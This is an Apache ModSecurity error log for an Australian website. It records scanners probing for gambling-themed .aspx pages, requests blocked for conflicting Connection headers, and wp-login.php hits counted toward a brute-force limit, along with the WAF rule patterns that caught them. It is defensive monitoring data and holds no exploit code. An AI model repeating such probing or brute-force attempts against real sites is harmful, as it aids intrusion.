[Wed May 20 19:53:37.458311 2026] [:error] [pid 41277:tid 41295] [client 37.187.226.31:40216] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ag2gwbTTCltJmboB5uf-HAAAAA0"]
[Wed May 20 19:53:42.804085 2026] [:error] [pid 7731:tid 7751] [client 37.187.226.31:37852] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ag2gxn9qQlHXbkl2nEsDlAAAAZI"]
[Wed May 20 19:53:49.913164 2026] [:error] [pid 41278:tid 41330] [client 37.187.226.31:41692] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ag2gzfWiNKASEfiGdway8AAAAFU"]
[Wed May 20 19:53:54.583860 2026] [:error] [pid 41279:tid 41352] [client 37.187.226.31:39692] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ag2g0rEFyfaehGZbt4yTugAAANA"]
[Wed May 20 19:53:58.845464 2026] [:error] [pid 41364:tid 41376] [client 37.187.226.31:39702] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ag2g1hKTmyvxtNXrN-jK3gAAAIo"]
[Wed May 20 19:54:05.195097 2026] [:error] [pid 7731:tid 7747] [client 37.187.226.31:43488] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ag2g3X9qQlHXbkl2nEsDsAAAAY4"]
[Wed May 20 19:54:10.973992 2026] [:error] [pid 7664:tid 7667] [client 37.187.226.31:43498] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ag2g4nZ8s7o3eiqT2kv6kAAAAUA"]
[Wed May 20 19:54:16.132304 2026] [:error] [pid 41364:tid 41390] [client 37.187.226.31:57156] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ag2g6BKTmyvxtNXrN-jLBQAAAJg"]
[Wed May 20 19:54:22.769377 2026] [:error] [pid 44059:tid 44069] [client 37.187.226.31:57162] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ag2g7hfFs-oSOOcyjywYeQAAAQg"]
[Wed May 20 19:54:28.250065 2026] [:error] [pid 7664:tid 7673] [client 37.187.226.31:50814] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ag2g9HZ8s7o3eiqT2kv6nAAAAUY"]
[Wed May 20 19:55:39.785759 2026] [:error] [pid 7664:tid 7674] [client 37.187.226.31:50200] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "ag2hO3Z8s7o3eiqT2kv64wAAAUc"]
[Wed May 20 19:55:43.562297 2026] [:error] [pid 41277:tid 41299] [client 37.187.226.31:42254] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "ag2hP7TTCltJmboB5uf-NgAAABE"]
[Wed May 20 19:55:47.086861 2026] [:error] [pid 44059:tid 44080] [client 37.187.226.31:42264] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "ag2hQxfFs-oSOOcyjywY9AAAARM"]
[Wed May 20 19:55:50.800711 2026] [:error] [pid 41279:tid 41346] [client 37.187.226.31:42270] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "ag2hRrEFyfaehGZbt4yUEQAAAMo"]
[Wed May 20 19:55:54.654853 2026] [:error] [pid 7731:tid 7747] [client 37.187.226.31:48494] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "ag2hSn9qQlHXbkl2nEsEaQAAAY4"]
[Wed May 20 19:55:58.354692 2026] [:error] [pid 41364:tid 41390] [client 37.187.226.31:48510] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ag2hThKTmyvxtNXrN-jLqgAAAJg"]
[Wed May 20 19:56:01.607926 2026] [:error] [pid 41277:tid 41298] [client 37.187.226.31:48514] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ag2hUbTTCltJmboB5uf-QgAAABA"]
[Wed May 20 19:56:05.784114 2026] [:error] [pid 7731:tid 7748] [client 37.187.226.31:44110] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "ag2hVX9qQlHXbkl2nEsEewAAAY8"]
[Wed May 20 19:56:09.230867 2026] [:error] [pid 7731:tid 7756] [client 37.187.226.31:44118] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ag2hWX9qQlHXbkl2nEsEgwAAAZc"]
[Wed May 20 19:56:13.361040 2026] [:error] [pid 7664:tid 7670] [client 37.187.226.31:52246] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ag2hXXZ8s7o3eiqT2kv7CgAAAUM"]
[Wed May 20 19:56:16.709709 2026] [:error] [pid 7731:tid 7748] [client 37.187.226.31:52254] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "ag2hYH9qQlHXbkl2nEsEjgAAAY8"]
[Wed May 20 19:56:20.067720 2026] [:error] [pid 7731:tid 7748] [client 37.187.226.31:52256] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ag2hZH9qQlHXbkl2nEsElgAAAY8"]
[Wed May 20 19:56:23.352521 2026] [:error] [pid 7664:tid 7691] [client 37.187.226.31:39698] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ag2hZ3Z8s7o3eiqT2kv7FwAAAVg"]
[Wed May 20 19:56:26.135666 2026] [:error] [pid 41277:tid 41282] [client 37.187.226.31:39712] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ag2harTTCltJmboB5uf-SwAAAAA"]
[Wed May 20 19:56:29.267336 2026] [:error] [pid 44059:tid 44071] [client 37.187.226.31:39722] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ag2hbRfFs-oSOOcyjywZFQAAAQo"]
[Wed May 20 19:56:32.042099 2026] [:error] [pid 41279:tid 41337] [client 37.187.226.31:39728] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ag2hcLEFyfaehGZbt4yUNQAAAME"]
[Wed May 20 19:57:08.295899 2026] [:error] [pid 41277:tid 41288] [client 37.187.226.31:46454] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ag2hlLTTCltJmboB5uf-nAAAAAY"]
[Wed May 20 19:57:10.811372 2026] [:error] [pid 7731:tid 7734] [client 37.187.226.31:40460] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "ag2hln9qQlHXbkl2nEsE4AAAAYE"]
[Wed May 20 19:57:13.046360 2026] [:error] [pid 41279:tid 41353] [client 37.187.226.31:44980] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "ag2hmbEFyfaehGZbt4yUXwAAANE"]
[Wed May 20 19:57:15.380500 2026] [:error] [pid 7664:tid 7669] [client 37.187.226.31:44986] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "ag2hm3Z8s7o3eiqT2kv7SgAAAUI"]
[Wed May 20 19:57:17.687004 2026] [:error] [pid 41278:tid 41325] [client 37.187.226.31:45002] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "ag2hnfWiNKASEfiGdwazawAAAFA"]
[Wed May 20 19:57:20.227992 2026] [:error] [pid 41364:tid 41387] [client 37.187.226.31:45010] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "ag2hoBKTmyvxtNXrN-jL5gAAAJU"]
[Wed May 20 19:57:22.718968 2026] [:error] [pid 7731:tid 7741] [client 37.187.226.31:54532] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "ag2hon9qQlHXbkl2nEsE6QAAAYg"]
[Wed May 20 19:57:25.133684 2026] [:error] [pid 7731:tid 7739] [client 37.187.226.31:54538] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "ag2hpX9qQlHXbkl2nEsE8wAAAYY"]
[Wed May 20 19:57:27.732388 2026] [:error] [pid 41278:tid 41319] [client 37.187.226.31:54542] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ag2hp_WiNKASEfiGdwazcgAAAEo"]
[Wed May 20 19:57:30.389545 2026] [:error] [pid 7731:tid 7737] [client 37.187.226.31:54550] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "ag2hqn9qQlHXbkl2nEsE_gAAAYQ"]
[Wed May 20 19:57:33.110895 2026] [:error] [pid 7664:tid 7684] [client 37.187.226.31:53936] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "ag2hrXZ8s7o3eiqT2kv7WQAAAVE"]
[Wed May 20 19:57:36.093052 2026] [:error] [pid 44059:tid 44074] [client 37.187.226.31:53940] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "ag2hsBfFs-oSOOcyjywZbgAAAQ0"]
[Wed May 20 19:57:39.690430 2026] [:error] [pid 44059:tid 44063] [client 37.187.226.31:53948] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "ag2hsxfFs-oSOOcyjywZewAAAQI"]
[Wed May 20 19:57:42.617914 2026] [:error] [pid 44059:tid 44083] [client 37.187.226.31:53962] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ag2hthfFs-oSOOcyjywZjgAAARY"]
[Wed May 20 19:57:45.452763 2026] [:error] [pid 7731:tid 7742] [client 37.187.226.31:39482] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ag2huX9qQlHXbkl2nEsFFQAAAYk"]
[Wed May 20 19:57:48.356497 2026] [:error] [pid 7664:tid 7679] [client 37.187.226.31:39494] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ag2hvHZ8s7o3eiqT2kv7ZAAAAUw"]
[Wed May 20 19:57:51.016638 2026] [:error] [pid 7731:tid 7742] [client 37.187.226.31:39502] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ag2hv39qQlHXbkl2nEsFIwAAAYk"]
[Wed May 20 19:57:54.085297 2026] [:error] [pid 7664:tid 7687] [client 37.187.226.31:44350] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ag2hwnZ8s7o3eiqT2kv7aAAAAVQ"]
[Wed May 20 19:57:57.262600 2026] [:error] [pid 41364:tid 41377] [client 37.187.226.31:44362] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ag2hxRKTmyvxtNXrN-jMDgAAAIs"]
[Wed May 20 19:58:00.612165 2026] [:error] [pid 41279:tid 41354] [client 37.187.226.31:44364] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ag2hyLEFyfaehGZbt4yUkwAAANI"]
[Wed May 20 19:58:04.176917 2026] [:error] [pid 41279:tid 41350] [client 37.187.226.31:43378] [client 37.187.226.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ag2hzLEFyfaehGZbt4yUmAAAAM4"]
[Wed May 20 20:02:59.877599 2026] [:error] [pid 7731:tid 7749] [client 43.128.69.143:56426] [client 43.128.69.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ag2i839qQlHXbkl2nEsG5QAAAZA"]
[Wed May 20 22:07:40.197367 2026] [:error] [pid 7731:tid 7743] [client 43.163.107.243:58766] [client 43.163.107.243] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ag3ALH9qQlHXbkl2nEsxWQAAAYo"]
[Thu May 21 03:10:54.165480 2026] [:error] [pid 7731:tid 7740] [client 49.234.192.248:55220] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ag4HPn9qQlHXbkl2nEt4RQAAAYc"]
[Thu May 21 03:25:40.330147 2026] [:error] [pid 7664:tid 7683] [client 43.156.18.240:39904] [client 43.156.18.240] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ag4KtHZ8s7o3eiqT2ktDbwAAAVA"]
[Thu May 21 03:33:37.012734 2026] [:error] [pid 41278:tid 41315] [client 52.64.60.55:16829] [client 52.64.60.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.64.60.55, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ag4MkfWiNKASEfiGdwblsAAAAEY"], referer: https://vetstars.com.au/wp-admin/
[Thu May 21 03:33:45.346713 2026] [:error] [pid 41364:tid 41384] [client 52.64.60.55:45355] [client 52.64.60.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.64.60.55, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ag4MmRKTmyvxtNXrN-hQnwAAAJI"], referer: https://vetstars.com.au/wp-admin/about.php
